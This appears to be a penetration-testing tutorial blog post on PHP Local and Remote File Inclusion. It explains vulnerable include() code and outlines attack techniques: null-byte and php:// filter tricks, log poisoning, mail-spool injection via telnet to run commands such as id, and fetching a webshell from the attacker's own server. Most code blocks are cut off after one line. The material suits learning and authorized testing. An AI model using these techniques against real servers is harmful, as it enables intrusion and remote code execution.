File inclusion vulnerabilities are of two types: Remote File Inclusion (RFI) and Local File Inclusion (LFI).
RFI is said to be present when a web application allows remote users to load and execute a remote file on the server.
LFI is said to be present when a web application allows remote users to load any pre-existing file and execute it on the server.
These vulnerabilities are often found in poorly written and/or deployed web applications which loads files or content to display it to the end-user, completely forgetting that this input could be modified.
What enables an attacker to exploit these vulnerabilities are include
and require
statements in the web applications’ PHP code. With improper or thereof lack of input validation in place, an attacker could load any file that is present on the system, effectively exploiting a Local File Inclusion vulnerability.
What is going on behind the scenes?
Example: loading a file from a URL parameter - filename
URL : http://example.com/index.php?filename=helloworld
Code :
1 | include($_GET['filename'] . '.php'); |
Web servers are dumb. The example code above basically tells the server that “Hey, whatever comes in the filename
parameter append ‘.php’ to that, fetch it for me, execute it and show it to the user.” Very convenient. So if any user were to pass some query to the filename
parameter, the server will accept it, try to find the file, and show it to you if it exists in the place you asked it to look for, and if it has read permissions over the file.
If you thought “but Karan, wouldn’t the above code append ‘.php’ to the query I pass? Wouldn’t the server execute it? How will I view the contents of it?”, you’re abosultely thinking in the right direction. If not, it’s ok, you’ll get there. I’ll cover that in the next section.
When to test
1 | # URL or Post request |
Testing
In PHP below version 5.3, URL ending in %00
, a null-byte termination, causes the interpreter to accept it as the legit URL termination point and will ignore anything that comes after it like the ‘.php’ extension that normally would be appended in the above example
Use different tricks or payloads. PayloadsAllTheThings is a great resource. When the above trick fails, you can use plenty of others present in PayloadsAllTheThings. (I usually try a php://
filter next)
1 | # Add php at the end |
First check if logs are accessible
1 | # Apache FreeBSD |
Method 1: Sending a malicious request but malformed
1 | # Always use single-quotes in the PHP payload |
Method 2: Sendind a malicious request but legitimate
1 | # Capture a request using a proxy (BurpSuite) |
1 | telnet $target 25 |
Browse to the payload. Always execute the simplest command first.
1 | ?file=../../../../../var/mail/target&cmd=id |
What enables attackers to exploit RFI is not just poorly written application but also poorly configured PHP.
Along with the usage include
or require
statements in the web application, the PHP must be configured to allow filesystem
functions to use URLs to fetch data from.
These insecure configurations options are - allow_url_fopen
and allow_url_include
, and both should be set to On for RFI to occur. These options can viewed in the phpinfo file
What is going on behind the scenes?
Example: loading a file from a URL parameter - filename
URL : http://example.com/index.php?filename=helloworld
Code :
1 | include($_GET['filename'] . '.php'); |
The above code tells the server that, “Hey, whatever comes in the filename
parameter append ‘.php’ to that, fetch it for me, execute it and show it to the user.” Pretty much like LFI, except now the query to filename
parameter doesn’t need to be a local file, it can be any file from anywhere. As long as the vulnerable server could connect to it and a file with the queried name is present, it’ll fetch it, and execute it. This makes RFI very dangerous.
When to test
PHPInfo should show that these parameters are On. If phpinfo file is unavailable and/or cannot be accessed, testing for RFI should still be done.
1 | # URL or Post request |
Testing
First test should be if the server actually connects to you or not.
Start a webserver and fetch nothing
1 | # First test |
1 | # Webshell |